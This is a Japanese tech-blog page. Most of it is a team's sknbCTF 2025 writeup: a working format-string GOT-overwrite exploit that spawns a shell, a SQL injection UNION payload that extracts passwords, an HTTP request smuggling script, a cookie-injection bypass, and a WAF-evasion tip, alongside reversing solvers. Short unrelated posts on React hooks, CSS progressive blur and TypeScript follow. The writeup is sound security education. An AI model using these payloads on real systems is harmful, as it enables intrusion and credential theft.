スプーキーズのちょっとTech。

SPOOKIES社内のより技工的な、専門的なブログページです。

ちょっと久しぶりのCTF!sknbCTF 2025参加しました!

こんにちは!寒くなってきて体調管理が苦しい、こまさんです!!

今回はCTF部で、sknbCTF 2025に参加してきたので、その報告がてら感想・所感(Writeupも?)を書いていきます!

目次!

まずは結果から~

今回なんと6位でした!!とてもいい感じなんじゃない?!!

各問題いってみよ~!

執筆中現在、もうサーバーダウンしてしまってて問題毎のスコア取れませんでした😣

Komasan_ 855pts.

welcome (Misc)

Discordのアナウンスに書かれた。書く必要ほぼないかなw

sirokemo says (Pwn)

個人的に結構pwn問に苦手意識があって、練習したいな~と思って2ヶ月ぐらいが過ぎようとしていたんですが、zeosutt大先生に「本番で練習すりゃ大丈夫!」とも言われ今回頑張ってみました。

とてもシンプル!

ソースコードはとってもシンプル!かわいい顔文字がお出迎えしてくれて、入力をオウム返ししてくれそうですね。 あ、ちなみにchecksec結果はpartial RELRO、カナリア無し、NX有効、PIEは無効です。

とりあえずコードを見ていきますか。

パッと見BOFはなさそうです。 でも、9行目にFSBをやれと言わんばかりのprintfがありますね。

ということで、、、結構グダコードですが、、

    import time
    from pwn import *
    
    context.arch = 'amd64'
    context.os = 'linux'
    elf = ELF('chall')
    
    __libc_start_main_offset = 0x2a200
    gadget_offset = 0xef52b# execve("/bin/sh")
    
    addr_main = 0x401166
    
    with remote('34.104.150.35', 9000) as io:
        writes_dict = {elf.got['exit']: addr_main + 336}
        payload = fmtstr_payload(6, writes_dict)
    
        # payload[:-24] => b"%106c%11$lln%167c%12$hhn%47c%13$hhnaaaab"
        payload = payload[:-24-5] + b'%61$p' + payload[-24:]
    
        io.sendline(payload)
        with open('payload', 'wb') as fs:
            fs.write(payload)
            fs.write(b'\0' * (255 - len(payload)))
    
        time.sleep(0.1)
        r = io.recv()
    
        ret = r.split(b'0x')[-1]
    
        for i in range(16):
            if ret[i] not in b'0123456789abcdef':
                ret = ret[:i]
                break
            if i == 15:
                ret = ret[:16]
    
        addr = int(ret.decode(), 16) # __libc_start_main + 139
    
        addr_libc = addr - 139 - __libc_start_main_offset
        addr_system = addr_libc + gadget_offset
        print('libc base: ' + hex(addr_libc))
        print('target   : ' + hex(addr_system))
    
        writes_dict = {elf.got['printf']: addr_system}
        payload = fmtstr_payload(7, writes_dict)
    
        io.sendline(payload)
        with open('payload', 'ab') as fs:
            fs.write(payload)
    
        io.sendline(payload)
    
        time.sleep(0.1)
        print(io.recv())
    
        io.interactive()
    

まずFSBで、main()のリターンアドレスからlibcのアドレスをリークしながらexit@GOTmain()に書き換えます。

そうするとexitを実行したはずがもう一度mainに戻ってこれますね。

その後、リークしたlibcのアドレスを利用してexit@GOTを今度はone gadgetに書き換えちゃいます。

そうしたらシェルが起動するので、flagをcatして終わり!

(ここまで来るのに6時間もかかってしまった。。でもGOT Ovrewriteを覚えれたかな!👍)

kufvm (Rev)

こちらはVM問ですね。

基本的には、

  • 1024バイトのプログラムと共用のメモリがある。
  • 7つの操作ができる。
    • アドレスを2つ指定して、前者と後者の和を前者を代入
    • アドレスを2つ指定して、前者と後者のXORを前者に代入
    • アドレスを2つ指定して、前者が0なら後者のアドレスにジャンプ(プログラムカウンタを書換)
    • アドレスを1つ指定して、標準入力から1文字取得し、書込
    • アドレスを1つ指定して、標準出力に1文字書出
    • アドレスを2つ指定して、前者の値をアドレスとして、そこに後者の値を代入
    • プログラムを終了する

という具合でした。

そしてプログラムを実行すると、フラグの入力を求められるので、何かしらの文字列を入力して、それが合っていたらcorrect!、間違っていたらincorrect!と表示されて終了する、という感じ。

普通に解析して、逆算する、という感じですね。

解答コード

    # chall.bin 0x13-0x3e (inclusive)
    _c = 'ef5914ee51701017ef5dbd550feac72a0dc6b87f736b4f4dc71ead064b38951f5d1bd9e9b946bdafdde0fb31'
    
    # split each bytes and negate
    cipher = [0x100 - int(_c[i*2:i*2+2], 16) for i in range(len(_c) // 2)]
    
    message = []
    
    tmp = 49
    for i in range(43):
        mask = (tmp * (i + 1) * 2) & 0xff
    
        c = cipher[i] ^ mask
        message.append(c)
    
        tmp = c
    
    print(''.join([chr(c) for c in message]))
    

こういうRev問は素直に面白いですね。


Nemoola 205pts.

SQLAlchemist (Web)

fieldはユーザーが入力できるのでここを狙った。

session.query(User.username, extract(field, User.timestamp)).where(User.username == username).first()

デバッガをつけてORMが組み立てたSQLを調べようと思ったが、出来なかったので自分で予想して組み立てた。

SELECT username, EXTRACT(field FROM user.timestamp) 
FROM user WHERE user.username='username'

以下は結果的に出来上がったペイロードである。

YEAR FROM timestamp) FROM user WHERE 0=1 UNION SELECT username, password --

WHERE 0=1で結果を0にしてUNIONで新しい文を結合したらpasswordを取得できる。 取得したpasswordを使ってadminにログインしてflagをゲットできる。


huzuni 842pts.

久しぶりにCTF参加しました!

今回はほぼRevしかやってないですが、問題も面白い内容で解いてて楽しかったです〜 その中でも特にお気に入りのやつのwriteupを中心に書いていきます!

one_to_two (Rev)

最初の方はこれが一番左に出てたので、一番簡単かと思いきや、、、

ゴリゴリのVM問題。 😱

Cで作られたVMのディスパッチャーと、VMコードの本体(上のやつ)が与えられます。

色々いじっていると、文字入力->フラグの何番目と比較->一致してたらループという挙動をしていることがわかりました。

というわけで、ゴリ押しpython自前ディスパッチャーで総当たりしました。

ソルバー

    import sys
    import string
    
    with open('program.txt', "r", encoding="utf-8") as f:
        data = []
        for line in f:
            s = line.rstrip('\n')
            data.append(s)
    
    def run(input) -> int:
        lines = len(data)
        stack = [0] * 256
        ip = 0        
        line_idx = 0  
        sp = 0        
        in_count = 0
        while True:
            if line_idx < 0:
                return 0
            if line_idx >= lines:
                return 0
            if ip < 0:
                return 0
            current_line = data[line_idx]
            if ip >= len(current_line):
                return 0
            instruction = ord(current_line[ip])
            if instruction == 0x2E:  # '.'
                return in_count
            if instruction == 0x2194:
                if stack[sp] != 0:
                    ip -= 1
                else:
                    ip += 1
                continue
            if instruction == 0x2195:
                if stack[sp] != 0:
                    line_idx -= 1
                else:
                    line_idx += 1
                continue
            if instruction == 0x219E:
                sp -= 1
                ip -= 1
                if sp < 0:
                    print("stack underflow", file=sys.stderr)
                    return 1
                continue
            if instruction == 0x219F:
                stack[sp] += 1
                line_idx -= 1
                continue
            if instruction == 0x21A0:
                sp += 1
                ip += 1
                if sp <= 255:
                    continue
                print("stack overflow", file=sys.stderr)
                return 1
            if instruction == 0x21A1:
                stack[sp] -= 1
                line_idx += 1
                continue
            if instruction == 0x21D1:
                ch = (input + '00000')[in_count]
                in_count += 1        
                if ch == "" or ch == "\n":
                    val = 255
                else:
                    val = ord(ch[0])
                stack[sp] = val
                line_idx -= 1
                continue
            if instruction == 0x21D3:
                line_idx += 1
                continue
            if instruction == 0x21E0:
                ip -= 1
                continue
            if instruction == 0x21E1:
                line_idx -= 1
                continue
            if instruction == 0x21E2:
                ip += 1
                continue
            if instruction == 0x21E3:
                line_idx += 1
                continue
            print("Invalid inst")
            return in_count
    
    flag = 'sknb{'
    candidates = string.ascii_letters + string.punctuation + string.digits
    while True:
        a = {}
        for i in candidates:
            temp_flag = flag + i
            result = run(temp_flag)
            a[i] = result
        max_key = max(a, key=a.get)
        flag += max_key
        print(flag)
    

多分想定解ではないけど、こういうのもたまにはアリだよね 🧐

次は、ちゃんとやります。

Fubukkit (Rev)

マイクラ問だ! そして、jd-guiがデコンパイルを拒否する!

仕方がないので、Recafを使って中身を見ます

すごい量のコードがお出迎えしてくれました。 でもちょっと調べると、そんなに複雑なことはしてなくて、 フラグのバイト数番目_フラグの上位/下位2ビット のようなフォーマットで構成されたchainみたいな感じになってます

v0_7をgrantするにはrootが必要で、 v1_3をgrantするにはv0_7が必要で、、、

という風に続いているわけです

root
└── v0_7
      └── v1_3
            └── v2_6
                  └── v3_11
                        └── v4_6
                              └── v5_…

それがわかればデコンパイルした結果から自動で解析してくれるコードを作ってあげた方が速そうですね。

ソルバー

    import dataclasses
    import re
    
    @dataclasses.dataclass
    class AdvamcementKey:
        index: int
        value: int
    
    @dataclasses.dataclass
    class Advancement:
        key: AdvamcementKey
        requirements: AdvamcementKey
    
    with open('advancements.txt', 'r', encoding='utf-8') as file:
        advancementLines = [line.strip() for line in file if line.strip()]
        advancements: list[Advancement] = []
        for advLine in advancementLines:
            # Parse advancement key
            result = re.search(r'"(\d{1,2})_(\d{1,2})"', advLine)
            if not result:
                print(f"Failed to parse advancement: {advLine}")
                break
            index, value = map(int, result.groups())
            adv_key = AdvamcementKey(index=index, value=value)
            # Find requirements
            result_req = re.search(r'\(Advancement\)v(\d{1,2})_(\d{1,2})', advLine)
            requirements: AdvamcementKey | None = None
            if result_req:
                req_index, req_value = map(int, result_req.groups())
                requirements = AdvamcementKey(index=req_index, value=req_value)
            
            advancement = Advancement(key=adv_key, requirements=requirements)
            advancements.append(advancement)
        advancements.append(Advancement(None, AdvamcementKey(index=43, value=13))) # Goal advancement
        # Solve
        decoded = []
        solved = {}
        for adv in advancements:
            if not adv.requirements:
                continue
            if adv.requirements.index <= len(decoded) - 1: 
                continue
            decoded.append(adv.requirements.value)
        decoded_packed = []
        for i in range(0, len(decoded), 2):        
            byte = (decoded[i] << 4) | decoded[i + 1]
            decoded_packed.append(byte)
        for byte in decoded_packed:
            print(chr(byte), end='')
    

GIF-Zipper (Rev)

画像が、CSV風のファイルに変換されて、それを元に戻すやつです。

一個注意点として、最後のピクセルの情報が残っていないので、そこだけ考慮してあげる必要があります。 ただ、今回はほとんど画像にも影響はないです

コードだけ貼っておきます〜

    from PIL import Image
    
    def decode_pixel_block(s):
        n = len(s)
        for r_len in [1,2,3]:
            for g_len in [2,3]:
                b_len = n - r_len - g_len
                if b_len < 2 or b_len > 3:
                    continue
                r = int(s[:r_len])
                g = int(s[r_len:r_len+g_len]) - 16
                b = int(s[r_len+g_len:]) - 8
                if 0 <= r <= 255 and 0 <= g <= 255 and 0 <= b <= 255:
                    return (r,g,b)
        return (0,0,0)
    
    def csv_to_image(path, output):
        with open(path,'r') as f:
            raw = f.read()
    
        raw = raw.replace(" ","")
        parts = [p for p in raw.split(",") if p!=""]
    
        width = int(parts[0])
        height = int(parts[1])
    
        blocks = parts[2:]
    
        print("width:", width)
        print("height:", height)
        print("blocks:", len(blocks))
    
        img = Image.new("RGB",(width,height))
        px = img.load()
    
        for idx, s in enumerate(blocks):
            y = idx // width
            x = idx % width
            px[x,y] = decode_pixel_block(s)
    
        img.save(output)
    
    csv_to_image("flag.gifzip","output.png")
    

風が吹けば桶屋が儲かる (Rev)

中身を開けると大量のclassファイル!!!!!

その中には似た構造のコードたち!

Chal0001.java

    import java.io.IOException;
    import java.util.Arrays;
    
    public class Chal0000 {
        private static final byte[] enc = new byte[]{65, 11, -48, 103, 77, 19, -80, -1};
    
        public static void main(String[] stringArray) throws IOException {
            int n;
            System.out.print("msg:");
            byte[] byArray = System.in.readNBytes(8);
            int[] nArray = new int[]{120, 187, 228, 254, 207, 89, 242, 108};
            for (n = 0; n < 8; ++n) {
                int n2 = n;
                byArray[n2] = (byte)(byArray[n2] ^ (byte)(nArray[n] >> 3 | nArray[n] << 5));
            }
            for (n = 0; n < 8; ++n) {
                int n3 = n;
                byArray[n3] = (byte)(byArray[n3] + (byte)nArray[(n + 1) % 8]);
            }
            if (Arrays.equals(enc, byArray)) {
                System.out.println("Correct");
            } else {
                System.out.println("Incorrect");
            }
        }
    }
    

最初の部分をChatGPTに復号させると、PNGの最初の部分のシグネイチャと一致することがわかりました。

というわけで、この何千に及ぶファイルをデコンパイルして、復号して、、 なんてやってられないので、CFRを使って、全部デコンパイルさせます

あとは、デコンパイルしてくれたやつをregex地獄で復号します

ソルバー

    import os
    import re
    import dataclasses
    
    @dataclasses.dataclass
    class EncryptedBlockData:
        n: list[int]
        enc: list[int]
        rot: int
        offset: int
    
    def rot_expr(x: int, a: int) -> int:
        x &= 0xFF
        return ((x >> a) | (x << (8 - a))) & 0xFF
    
    def decrypt_msg(block: EncryptedBlockData) -> bytearray:
        out = []
        for i in range(8):
            y = block.enc[i] & 0xFF
            y = (y - (block.n[(i + block.offset) % 8] & 0xFF)) & 0xFF
            y ^= rot_expr(block.n[i], block.rot)
            out.append(y)
        return bytes(out)
    
    def parse_block(decompiled_code: str) -> EncryptedBlockData:
        enc = re.search(r'byte\[\] enc = new byte\[\]\{([-\d, ]+)};', decompiled_code).group(1)
        enc = list(map(lambda x: int(x.strip()), enc.split(',')))
        n = re.search(r'int\[\] nArray = new int\[\]\{([-\d, ]+)};', decompiled_code).group(1)
        n = list(map(lambda x: int(x.strip()), n.split(',')))
        rot = re.search(r'\(byte\)\(nArray\[n\] >> (\d)', decompiled_code).group(1)
        rot = int(rot)
        offset = re.search(r'\(byte\)nArray\[\(n \+ (\d)\)', decompiled_code).group(1)
        offset = int(offset)
        return EncryptedBlockData(n=n, enc=enc, rot=rot, offset=offset)
    
    result = bytearray()
    for root, dirs, files in os.walk('./decompiled'):
        for file in files:
            path = os.path.join(root, file)
            with open(path, 'r', encoding='utf-8') as f:
                code = f.read()
            block_data = parse_block(code)
            decrypted = decrypt_msg(block_data)
            result.extend(decrypted)
    
    with open(file='decrypted.png', mode='wb+') as out:
        out.write(result)
    

ありがとう、cfr

Auth Delegation (Web)

フォームデータじゃなくて、クエリパラメーターを使うとWAFに引っかかりません 😄


zeosutt 1274pts.

zeosutt大先生はspookiesを卒業してしまったので、私こまさんが勝手にありがとうを綴りますw

名誉部長として基本的には私たちの解きたい問題を譲ってくれつつ、ギブアップした問題をシバいてくれる、みたいな最強の人になってます。

とても心強い!!そして少しでも頑張って追いつきたい!!

今回も、私が解いたkufvmと全く同じファイル群で更にpwn(shell奪取)しろ、という問題のkufvm-pwnを破壊してくれました🔥🔥🔥🔥 強すぎる、、、

Writeupは問題を把握できてないのでご愛嬌で~。

printgolf (Misc)

PIN Authenticator (Misc)

PIN Authenticator revenge (Misc)

DB Mirage (Misc)

Parse Parse Parse (Web)

kufvm-pwn (Pwn)


flathill404 789pts.

お久しぶりのCTFでした。最近もっぱらGeminiと公私共にどっぷりなので、Geminiくんと共に挑みました。 AI使うと、特に、ソース公開されているタイプの問題は5倍ぐらい早く解けますね。 何時間も仮説検証を繰り返し、最終的にフラグGETして脳汁ドパーするのが私なりのCTFの楽しみだったのですが、AIはその楽しみを奪ってくるなと思いました(←じゃあ使うな)。 まあ、今回は久しぶりのCTFということもあって、CTF x AIで楽しくなれるのか検証するいい機会だったなあと。

Your name (Web)

Nginx + Node.js構成におけるHTTP Request Smuggling、といったところでしょうか。 フロントエンドにNginx、バックエンドにNode.jsというモダンな構成で、どのように「解釈のズレ」が生じるのかが、注目ポイントです。

Nginxの設定 (nginx.conf) Nginxはリクエストをバックエンド(app:8080)に流す際、必ず X-From-Proxy: true というヘッダーを付与します。

location / {
    proxy_pass http://app:8080;
    proxy_http_version 1.1;
    proxy_set_header Connection "";
    proxy_set_header X-From-Proxy true; # ここで強制付与
}

バックエンドのロジック (server.js) フラグが得られる /flag エンドポイントには、以下のアクセス制御があります。

case '/flag':
  if (!req.headers['x-from-proxy']) {
    res.end(FLAG);
  } else {
    res.writeHead(403, { 'Content-Type': 'text/plain' });
    res.end('Forbidden');
  }
  return;

「Nginxを経由すると X-From-Proxy が付くため拒否される」 が、「Nginxを経由しないとそもそもアクセスできない(外部公開ポートはNginxのみ)」 というジレンマがありますね。

最大のヒントは Dockerfile にありました 。

CMD ["node", "--insecure-http-parser", "server.js"]

Node.jsが --insecure-http-parser オプション付きで起動されています 。これは、RFCに厳密に従わない不正な形式のHTTPヘッダーも許容してパースするという設定です。

これにより、HTTP Request Smuggling (CL.TE) が成立する条件が整いました。

Nginx (Frontend): 厳格。不正な Transfer-Encoding ヘッダーを無視し、Content-Length を信頼する。

Node.js (Backend): 寛容。不正な Transfer-Encoding ヘッダーを有効と見なし、Content-Length を無視する。

この「解釈の不一致」を利用して、1つのHTTPリクエストの中に「2つ目のリクエスト」を密輸(Smuggle)します。

Nginxを騙してリクエスト全体を通過させつつ、Node.jsには途中でリクエストが終わったと誤認させます。

POST / HTTP/1.1
Host: target.com
Content-Length: [全体の長さ]
Transfer-Encoding : chunked  <-- ここが重要!

0

GET /flag HTTP/1.1
Host: target.com
...

Transfer-Encoding のコロンの前にスペースを入れることで、Nginxはこのヘッダーを無視しますが、--insecure-http-parser 環境下のNode.jsはこれを有効と解釈します 。

Node.jsは 0 (チャンク終了) を読み取った時点で処理を切り上げ、残りのデータ(GET /flag...)を 「次の新しいリクエスト」 として処理し始めます。この「密輸された2つ目のリクエスト」には、Nginxが付与するはずの X-From-Proxy が存在しません。これで認証回避が可能になります。

この方針で最終フラグGETできたスクリプトは以下になります。(コアのところだけ掲載)

# CL.TE Desync Payload
    header = (
        b"POST / HTTP/1.1\r\n" +
        f"Host: {target_host}:{target_port}\r\n".encode() +
        b"Content-Type: application/x-www-form-urlencoded\r\n" +
        b"Content-Length: " + str(len(payload_body)).encode() + b"\r\n" +
        b"Transfer-Encoding : chunked\r\n" + # Nginxは無視、Nodeは解釈
        b"\r\n"
    )
    # ... (中略: ソケット送信処理) ...

    # データ受信ループ
    received_buffer = b""
    # まず通常の受信を試みる
    try:
        data = s.recv(4096)
        received_buffer += data
        if b"sknb{" in received_buffer:
            print("Flag found in first batch!")
    except: pass
    
    # フラグがなければ追い出し用リクエストを送信
    if b"sknb{" not in received_buffer:
        s.sendall(dummy_request) # Flush!
        
    # 続きを受信...

ghost (Web)

ターゲットは、ユーザーが入力した任意の文字列を document.cookie にセットしてくれるPuppeteer製のBotです。しかし、そこには以下の厳格な検証ロジックが存在しました。

const whitelist = /^[a-zA-Z0-9=;\/]+$/
const cookies = cookie.split(";");
for (const pair of cookies) {
    if (!whitelist.test(pair)) {
        return "invalid cookie detected"; // ホワイトリスト違反
    }
    if (pair.startsWith("flag=")) {
        return "invalid cookie detected"; // ブラックリスト違反
    }
}
// 検査を通過すればセットされる
await page.evaluate(c => document.cookie = c, cookie);

サーバー側の判定ロジック 最終的にリクエストを受け取るサーバー(Express)は、以下のようにフラグを返します。

// Cookieヘッダーを ; で分割し、完全一致でチェック
for (const cookie of cookieHeader.split(";")) {
    if (cookie === "flag=true") { // ここを通したい!
        res.send(process.env.GZCTF_FLAG);
        return;
    }
}

つまり、Cookie: flag=true というヘッダーを送信させることがゴールですが、Bot側では flag= の入力を拒否される、という状況です。

最初に考えたのは、既存の flag=false をどうやって上書き、あるいは無効化するかです。 通常であれば flag=true を送りたいところですが、ブラックリストに阻まれます。

そこで目をつけたのが、ホワイトリストに含まれている /(スラッシュ)と、HTTP Cookieの仕様である Path属性 です。

RFC 6265には「同じ名前のCookieがある場合、Path属性がより長く、リクエストURLに具体的にマッチするものが優先される(先に送信される)」というルールがあります。

Botが元々持っているCookie: Path=/

Botのリクエスト先: /flag

これを利用し、以下のようなペイロードを考えました。

flag;Path=/flag

これにより、「値が空」で「Pathが /flag」のCookieが生成されます。 Path=/flag (5文字) は Path=/ (1文字) より具体的であるため、ブラウザは注入したCookieを優先してヘッダーの先頭に配置します。

結果として、順番を入れ替えることには成功しました! しかし、これではサーバー側のチェック cookie === "flag=true" を通過できません。値が空(flagのみ)だからです。

次にぶつかった壁は、「flag= で始めてはいけないが、サーバーには flag=true という文字列を送らなければならない」という矛盾です。

そこで、思いついたのが「Cookieのキー名を空にする」というテクニックです。

ブラウザで document.cookie = "=value" のように、先頭を = にすると、キー名が空のCookieとして扱われます。そして重要なのが、Chrome (Puppeteer) など多くのブラウザは、これをヘッダーとして送信する際、キー名を省略して値部分だけを送る(あるいは意図した文字列になる)挙動を示します。

これを利用した最終的なペイロードがこちらです。

=flag=true;Path=/flag

これにてdoneです。最終的なbotのリクエストヘッダーは以下のようになります。

Cookie: flag=true; flag=false

カスタムフックを使いながら、バーチャル背景生成ツールを開発した話

🦓 < こんにちは!

先日、完全なReact初心者が社内用の「バーチャル背景生成ツール」を開発・デプロイしました!

説明するより、みてもらったほうが早いと思うので、完成したものの動画を貼っておきます 👇

シンプルなツールですが、作る過程でさまざまな学びがあり、その中でもカスタムフックについて残そうと思います!

是非読んでいってくれると嬉しいです 🙇‍♂️

使用技術と構成

先にさっと、使用技術の詳細と構成を書きます

  • React Router
  • Chakra UI
  • Vite

ファイル構成

packages/client/src
├─ assets/        — 画像・フォントなど
├─ components/    — 共通Reactコンポーネント
├─ constants/     — 各種定数
├─ hooks/         — カスタムフック
├─ pages/         — 画面コンポーネント
├─ test/          — テスト類
├─ types/         — 型定義
├─ app.tsx        — ルートApp
├─ main.tsx       — DOMエントリ
├─ router.tsx     — ルーティング設定
└─ vite-env.d.ts  — Vite型宣言

ViewとControllerを分ける??

自分で実装してみたり、Copilotくんに頼ったりしながら実装してました。

しかしいざレビューをしてもらう時に、

「見た目のコンポーネントにコントローラー相当の実装を詰め込まない方がいい!」

と言われました。

一体どういうことだ...? となりつつも、教えてもらいました!!

React は厳密な MVC ではないものの、「UI(View)に寄せた部分」と「ロジック(Controller 的な振る舞い)」を意識的に切り分けると読みやすくなるケースが多いとのこと。

ずばり、今回のケースではUIとロジックを分けると書きやすかった、つまりTSXでは表示のみに徹しカスタムフックでコンポーネントのロジックを受け持たせるのがよい構成だったのです。

これだけだとピンとこないので、実例を見てみましょう

分ける前

これを

import { useEffect, useState, type ChangeEvent } from "react"

export function TestComponent() {
    const [inputText, setInputText] = useState<string | null>(null);
    const [response, setResponse] = useState<string | null>(null);

    useEffect(() => {
        // 複雑な処理
        setResponse(`inputは${inputText}だよ!`)
    }, [inputText])

    const onChange = (event: ChangeEvent<HTMLInputElement>) => {
        setInputText(event.currentTarget.value);
    }

    return (
        <div>
            <input type='text' placeholder='Enter some text' onChange={onChange} />
            {response ? <p>{response}</p> : <></>}
        </div>
    )
}

分けた後

こうする!👇 (カスタムフック使用)

import { type ChangeEvent } from "react"
import { useResponder } from "../hooks/useResponder";

export function TestComponent() {
    const { setInputText, response } = useResponder();

    const onChange = (event: ChangeEvent<HTMLInputElement>) => {
        setInputText(event.currentTarget.value);
    }

    return (
        <div>
            <input type='text' placeholder='Enter some text' onChange={onChange} />
            {response ? <p>{response}</p> : <></>}
        </div>
    )
}
import { useEffect, useState } from "react";

export function useResponder() {
    const [inputText, setInputText] = useState<string | null>(null);
    const [response, setResponse] = useState<string | null>(null);

    useEffect(() => {
        if (!inputText) {
            setResponse(null);
            return;
        }
        setResponse(`inputは${inputText}だよ!`)
    }, [inputText])

    return {
        setInputText,
        response
    };
}

分けておくと、見た目のコンポーネントはスッキリ保てます。 特に機能が増えてロジックが膨らんできたときに効果を発揮します 😎

カスタムフックの便利なところ

1. コードの見通しがよくなる/理解しやすくなる

やっぱり、これ大事ですよね。

  • UIを変えてもフックのインターフェースさえ守れば影響範囲を抑えられる。
  • ロジックもフック内に閉じ込めておけば、状態管理の手戻りを減らしやすい。

責務を分けることでUIとロジックの境界が明確になり、余計なバグを減らしながら開発できるのが本当にいいなと感じました 👀

2. ロジック・状態を使いまわせる

一度フックに必要なロジックをしっかり書けば、他のコンポーネントでそのロジックと状態管理を使いまわせる!

例えば、他のコンポーネントで書いた

  • 入力値の設定
  • ファイル生成
  • ダウンロード

というコードがあったとして、それを何度も貼り付けなくていい=保守性が上がる

しかも、コンポーネント側では入力値を設定するだけなので、表示周りのコードの見通しも保ちやすいです。

3. テストがしやすくなる

テストをするときに、全て一つのファイルに詰め込むと、 結果として、ビューのモックを作ったりあらゆる値をセットしないとテストできない!っていうことがありえるかも知れません。

フックにロジックを分離すれば、フック単体にフォーカスしたテストを書きやすくなりますし、最小限のモックで済ませられるケースも増えます。

これもとても大きい恩恵だと思いました

終わりに

今回、いろんな初見の技術を使いつつ、様々なことを学びながら実装ができました!!

これからもどんどん新しい概念や設計の基礎を学び、より良い品質で開発ができるように頑張ります〜

段階的にぼかす UI 表現 〜Web における Progressive Blur の実装と活用〜

こんにちは。ちゅるりです。

今回は、段階的にぼかしていく UI 表現の一例として Progressive Blur(プログレッシブ・ブラー)をご紹介しつつ、実装から実際のデザインへの組み込みまでを包括的に述べていこうと思います。

Progressive Blur とは

概要

タイトルなどでも既に述べてしまっていますが、ひと口で言えば「徐々にぼかし半径が変わっていくぼかし」です。ぼかしのグラデーションとも言えるでしょう。

百聞は一見にしかず、例をご覧いただけるとわかりやすいかと思います。次の図は、Progressive Blur を用いたカード実装の一例です。

Progressive Blur の一例(自サイト slides.itsu.dev より)

このように Progressive Blur は 2 つ以上重なった要素の境界においてその真価を発揮します。例えば iOS18 のコントロールセンターにおいて、ドロワーの引張具合によって背景のぼかし度合いが変化していく部分に Progressive Blur を見ることができます。Progressive Blur は磨りガラスのような、シックでモダンな印象を与えたい場合に有効であることがわかります。

現に海外の UI デザイナーコミュニティで最近まで盛り上がっていた印象があります。 確かに海外のモダンな LP で多用されているイメージがありますね。

Gaussian Blur との違い

Progressive Blur よりも広く使われているぼかし表現の一つに、Gaussian Blur(ガウシアン・ブラー)があります。いわゆる単なるぼかしで、ぼかした要素とそうでない要素との境界面がはっきりする点が特徴です。こちらも例を見てみましょう。

Gaussian Blur の一例(自サイトより)

先ほどの例とは異なり、ヘッダと背景部分との境界が明確に表れていることが見て取れるかと思います。

Progressive Blur は実際には Gaussian Blur をベースに実装していくのですが、段階的な変化の有無でここまで印象が変わるのは驚きですね。

擬似的 Progressive Blur の実装

構造

本節では、特に Web 上で Progressive Blur を実現する際の構造について述べていきます。

早速構造の説明に入っていきたいところですが、ここで突然「擬似的」というワードが入ってきたことにお気づきになられた方もいらっしゃるかもしれません。先ほど、Progressive Blur とは「段階的にぼかし半径が変わっていくぼかし表現」と述べましたが、実際には Web 上でこれを直接的に表現する手段はありません。したがって、別の代替的手段を用いて擬似的に Progressive Blur を表現していくアプローチを取ります。これを念頭にここからの説明をお読みいただければと思います。

Web 上で Progressive Blur を擬似的に表現するには、Gaussian Blur透明度のある背景色、そしてグラデーションのあるマスクの 3 つを利用します。次の図は Progressive Blur の構造を示した模式図です。

Progressive Blur の構造

上図に示した二つの表現を重ね合わせる(合成)することによって Progressive Blur は実現されます。イメージ的には、単調な Gaussian Blur をグラデーションのあるマスクによって間引いていくことによって、擬似的にぼかしに穴を開けていくような形です。

実装

さて、ここまで Progressive Blur の概要から構造までを述べてきました。本節では先に示した構造をもとに、Web 上での Progressive Blur の実装方法について解説していきます。

前節では、擬似的な Progressive Blur は Gaussian Blur、透明度のある背景色、およびグラデーションのあるマスクの 3 要素によって構成されることを述べましたが、これらは CSS のプロパティにおおよそ一対一で対応します。

  • Gaussian Blur
    • backdrop-filter: blur(16px);
  • 透明度のある背景色
    • background: #ffffff77
  • グラデーションのあるマスク
    • mask-image: linear-gradient(to bottom, transparent, #ffffff 100%);
    • mask-composite: intersect

Progressive Blur は、これらの CSS を全て合わせることによって実装できます。次のコードは Progressive Blur の実装例を示しています。ただし、最小構成を示すためにあえて div などを用いていますが、実際にはセマンティクスに準じた実装をすることを推奨します。

HTML

<div class="card">
    <img class="img" src="./test.jpg">
    <div class="content">
        <p>hoge</p>
    </div>
</div>

CSS

.card {
    width: 320px;
    height: 180px;
    position: relative;
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
}

.img {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    object-fit: cover;
}

.content {
    width: 100%;
    height: 100%;

    backdrop-filter: blur(16px);
    background-color: #ffffff77;
    mask-image: linear-gradient(to bottom, transparent, #ffffff 100%);
    mask-composite: intersect;
} 

これを表示すると次の画像が示すような形となります。

Progressive Blur の実装例

上記の実装では、.img が適用された画像の上に .content がオーバーレイしています。画像の上に下向きに濃くなっていくマスクを適用したレイヤを重ねることで、擬似的に Progressive Blur を実現できていることがわかります。

懸念

想像にも難くないですが、backdrop-filter: blurmask-* はそれなりに負荷の高い処理になります。それゆえ、多用するとパフォーマンスが劣化する可能性がある点に留意が必要です。

応用

例えば背景色を暗めにしつつ文字を重ねると、透明感のある仕上がりになります。

応用例 1

mask-image が適用されている要素の上に別の要素を置くと、それらにもマスクがかかってしまうため少々薄くなってしまいます。上記の例はその影響で文字が薄くなってしまっています。これを回避するために、さらに別のレイヤを重ねてあげると良いでしょう。

応用例 2

またエラー用のトーストにも使用できます。

応用例 3

まとめ

Progressive Blur は、簡単にモダンなデザインが実現できる面白い UI 表現技法です。こんなデザインも実装できるのか、と新しい発見をしていただけたのであれば幸いです。

最後に、弊社はまだデザインこそしておりませんが「Beyond the Imagination by Software - ソフトウェアで想像を超えろ」をスローガンに、多様なバックグラウンド・技術・属性を持つエンジニアが活躍しています。もし本記事や他の記事を見て弊社にご興味をお持ちいただければ、まずはご連絡ください!

エンジニアリングにご興味のあるあなたを、我々一同お待ちしております!

参考文献

「Type」ScriptでHelloWorldをしてみた Part2

皆さんはTypeScript、使っていますか?TypeScriptっていいですよね。 JavaScriptに型をつけ、ソースコードの型を解析し、実行前に型的な部分の予期しないエラーを防いでくれます。つまり、JavaScriptを静的型付け言語にしたのがTypeScriptというわけです。

ですが皆さん、ちゃんとTypeScriptしてますか??? 日本人が使う/触ったことのある静的型付け言語の代表格といえばC言語(C++)、Java(C#)あたりじゃないでしょうか。難しかった経験、ありますよね?主に「型」への理解が難しくて、PythonやPHPといった型のない世界に逃げ込んだ方が多いんじゃないでしょうか。(どちらも動的型付け言語ではありますが、デフォルトで実行前に型チェックが入っているわけではないので「型がない」と表記しています。) JavaScriptも同じで、もともと型というものは存在していません。ですがTypeScriptにおいては明確に「型」が存在しています。つまり、土台はJavaScriptですが、言語設計としてはちゃんと「型」を使った開発をすることが求められるわけです。

なので皆さん、「「ちゃんとTypeScriptしてますか???」」

まあ変な前置きはここまでにしておいて、 この記事はPart1の「「Type」ScriptでHelloWorldをしてみた」の続編です!

